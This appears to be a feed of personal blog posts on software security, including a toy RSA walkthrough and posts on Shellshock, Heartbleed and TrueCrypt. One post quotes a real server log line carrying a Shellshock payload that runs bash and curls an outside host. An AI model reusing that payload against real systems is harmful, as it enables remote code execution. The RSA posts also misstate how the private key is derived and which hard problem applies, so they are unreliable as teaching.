从防火墙内下载的pycharm有问题!

昨天重装电脑,需要重新安装很多软件。到pycharm网站一看,已经2017.2.1了,于是点击下载准备安装。点击链接,转向下载页面。。。

一切都非常熟悉,非常正常。下载速度有点慢,等着也是等着,我就点开了SHA-256 checksum的链接,把内容拷贝到Downthemall里面,等待下载完了验证。

我知道下载可能会有问题,我知道怎么用checksum,但是的确不是每次都用,谁都有懒得时候……

下载完毕,Downthemall开始验证,然后提示我,verification failed!

继续阅读从防火墙内下载的pycharm有问题!

为什么不应该尝试自创加密算法/协议?

偶然在知乎上看到一个类似的问题,没有看到令人满意的回答,遂决定自己尝试一下。

阅读任何一本现代密码学的基础书籍,读者都会被提醒:不要尝试自己发明加密算法(或者协议)。Please don't try to invent your own encryption algorithm or protocol。

但是,对于对现代密码学所知不多,而又有自尊心的理工男而言,这么一句话简直是在下挑战书。因此,这里尝试提供一个完整的说明。

首先,并不是所有人都被禁止发明加密算法和协议。如果你有两个数学博士学位,在密码学圈子浸淫数十年,对现有的安全体系了如指掌,又看到了现有算法或协议的可改进之处,学界和工业界都会欢迎你做出新的贡献。当然,这只是打个比方,也可能有人原本没有任何头衔,却因为发明了新的算法而一举成名。重点在于,你需要首先了解现状和最新进展,从头发明轮子是不智的。而了解密码学现状和最新进展,已经是很高的门槛。如果你已经越过这个门槛,很可能你已经打消了最初的冲动,也不再是入门书籍的目标受众了。

其次,这个警告适用于需要严肃对待信息安全的情境。如果你只是想对你的女朋友保密,或者只是想瞒过你的领导,你自己发明一个什么算法可能也就够了。

那么对于无法跨越现代密码学门槛,而又需要认真对待信息安全的人(比如你的软件产品或者系统会保存很多用户信息)来说,如何抑制这种冲动呢?

首先需要理解的是,现代加密算法和协议的安全性不依赖于对算法的保密。自创算法并不能提高安全性,而公开的算法安全性很好。大部分打算自创加密算法的人对这一点不甚了了,还有一部分听说过这个说法但是心存幻想。

其次,安全是一个系统工程,任何一个地方的细微失误都会影响整个体系的安全性。已有的算法和协议经受过多年锤炼,其中包含很多很多精妙的细节。自创的算法协议的安全性不可能与已有的公开算法的协议相提并论。换句话说,自创算法和协议协议的安全性只会比已有的公开算法差。

最后,现代计算的计算能力非常惊人,破解有缺陷的加密算法非常容易。因此,如果你对安全和加密严肃认真,请不要使用自创算法

RSA illustration with not-so-small numbers - part 2

Let's have a closer look at the encryption. During the communication, what's been exposed are:

Alice's public key (n=2627, e=13) , and the encrypted message.

For anyone who's entered the world of modern cryptography from the old age, it's tempting to try to decrypt the encrypted message using the encrypting key, the public key.

For these people, I have the below chart that shows the mapping between the plain text and the encrypted data:

encryption_mapping

x-axis is the plain-text data (sorted from 1 to 2627) and y-axis is the encrypted data(from 0 to 2626). I did the calculation using this line of script:

~$ for i in `seq 1 2627`; do echo "$i^13 %2627" | bc; done > /tmp/encryption.mapping

Below is part of this chart zoomed-in:

encryption_mapping_part

So you know the encrypted data, let's say 2144, and you know the public key (n=2627, e=13). How do you find the number x such that x^13 % 2627 = 2144.

You cannot unless you compute everyone possible 1<x<2627 and then find the correct one. That's brutal force. This is one of the basic assumption behind the security of RSA: There's no efficient way to find x. This is called the discrete logarithm problem.

In real world scenarios, the 2 prime numbers will be so large that brutal force is simple impractical.

Then to decrypt the message, one would need the private key. The private key is the modular inverse of phi(n). However, in order to get phi(n), he has to know the factors that form n. And factoring large number is mathematically hard. That is the other assumption behind the security of RSA: There's no efficient way to factor a large number.

As you will see in other places, these 2 assumptions are the corner stones of modern cryptography.

RSA illustration with not-so-small numbers

Modern cryptography is difficult to understand without illustrations. One of the reason is, modern cryptography involves very large numbers that easily exceed the capacity of a standard calculator, let alone human comprehension. There are some illustrations out there using small numbers. The problem is, the numbers are too small to be convincing. So I'd like to try some no-so-small numbers here. Most of the necessary calculations can be done with GNU bc, so you can try yourself on just any GNU Linux distribution.

Let's say Bob wants to send the below number to Alice (and make sure only Alice can decrypt the message):

520

Here's what Alice will do first:

  1. Pick up two distinct prime numbers. The numbers should be sufficiently large so that brutal force is difficult. Here we choose p=37 and q=71.
  2. Calculating n=pq=37*71=2627.
  3. Calculating the n's totient function: phi(n)=(p-1)*(q-1)=2520.
  4. Pick a number e between 1 and phi(n) that is co-prime with phi(n). Here we choose 13.
  5. Find number d so that e*d mod (phi(n)) =1. Here we choose 1357. This step cannot be done with bc. Intead, you can try this online calculator. Just put "modinv(13,2520)" in the text field and then press "go" you'll get the result.

Now Alice has a public key (n=2627, e=13) and a private key (n=2627, d=1357). She can simply distribute her public key to everyone, including Bob.

Now for Bob to encrypt the message 520 to Alice, he has to encrypt the message using Alice's public key:

520^13 % 2627 = 2235

Now Alice received this number 2235 from Bob. In order to decrypt this message, she do the following calculation:

2235^1357 % 2627 = 520

Actually, here Bob can encrypt just any number that is less than or equal to n in this way.

Bob:

1^13 % 2627 = 1

Alice:

1^1357 % 2627 = 1

Bob:

2^13 % 2627 = 311

Alice:

311^1357 % 2627 = 2

Bob:

3^13 % 2627 = 2361

Alice:

2361^1357 % 2627 = 3

Bob:

4^13 % 2627 = 2149

Alice:

2149^1357 % 2627=4

...

Bob:

137^13 % 2627 = 2431

Alice:

2431^1357 % 2627 = 137

...

If his message is large, then he has to split his message into chunks that are smaller than n and encrypt them one by one.

Note that this only illustrates how Bob can send secrete messages to Alice. If Alice wants to send secrete messages to Bob then she has to have Bob do the same first:

  1. Pick up 2 sufficiently large prime numbers;
  2. Get the product of these 2 prime numbers - This is part of the keys;
  3. Get the totient of this product;
  4. Pick a number that is co-prime with this totient but smaller - This combined with the product is the public key;
  5. Find the number that is the multiply modular inverse of this number - This combined with the product is the private key;

Then Bob sends his public key to Alice and Alice can encrypt the messages using Bob's public key. Upon receiving the messages, Bob can decrypt the messages using his private key.

Targeted after 3 days

176.102.38.77 - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl http://176.102.38.77/search/e.php?h=<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.

Vulnerability found in Bash

2014 must be a really bad year for open source community in security.

Less than 6 months after Heartbleed was found in OpenSSL, now Bash is found vulnerable of remote code execution. This time I'm not sure it's because of poor funding or something else.

Maybe it's a good time now to look back on how did the Heartbleed bug come about. Mr. Bruce Schenier posted a very good article on this.

Wow, what happened to TrueCrypt?

I heard about this last week but didn't have time to check it out. I can't believe it's so drama!

I'm a regular user of TrueCrypt, but I don't visit its website.  I've never had to ask anything for support. It just works.

Now this is what on their website:

 

truecrypt_website_after_may

REALLY?!

The only explanation that makes sense to me is: The developers were forced to (by threatening or beating) abandon this great software. Why? Because it's so good that some secrete agency simple cannot break into a TrueCrypt encrypted disk.

Now have all the reason to continue using TrueCrypt!

Heartbleed vulnerability

Just saw some friends sharing this in Wechat. Seems I will have a lot of work to do - patching my servers, replacing certificates, regenerating keys, etc.:(

It's really unbelievable. This will be a big blow on the open source community. I already saw people saying "see? Open source is no securer". Well, they are right.

To me, this has nothing to do with open source or not. M$ may have something even worse but you will need longer time to find out. I just searched the web and found that as a library that has been so widely used, OpenSSL has only one full time developer and receives on average $2,000 donation per year. What do you expect?

But that simply won't justify such a disaster and it will cast a bad image for open source community in general. I can only hope leaders in this industry see this differently and start to support these great open source projects. They deserve better!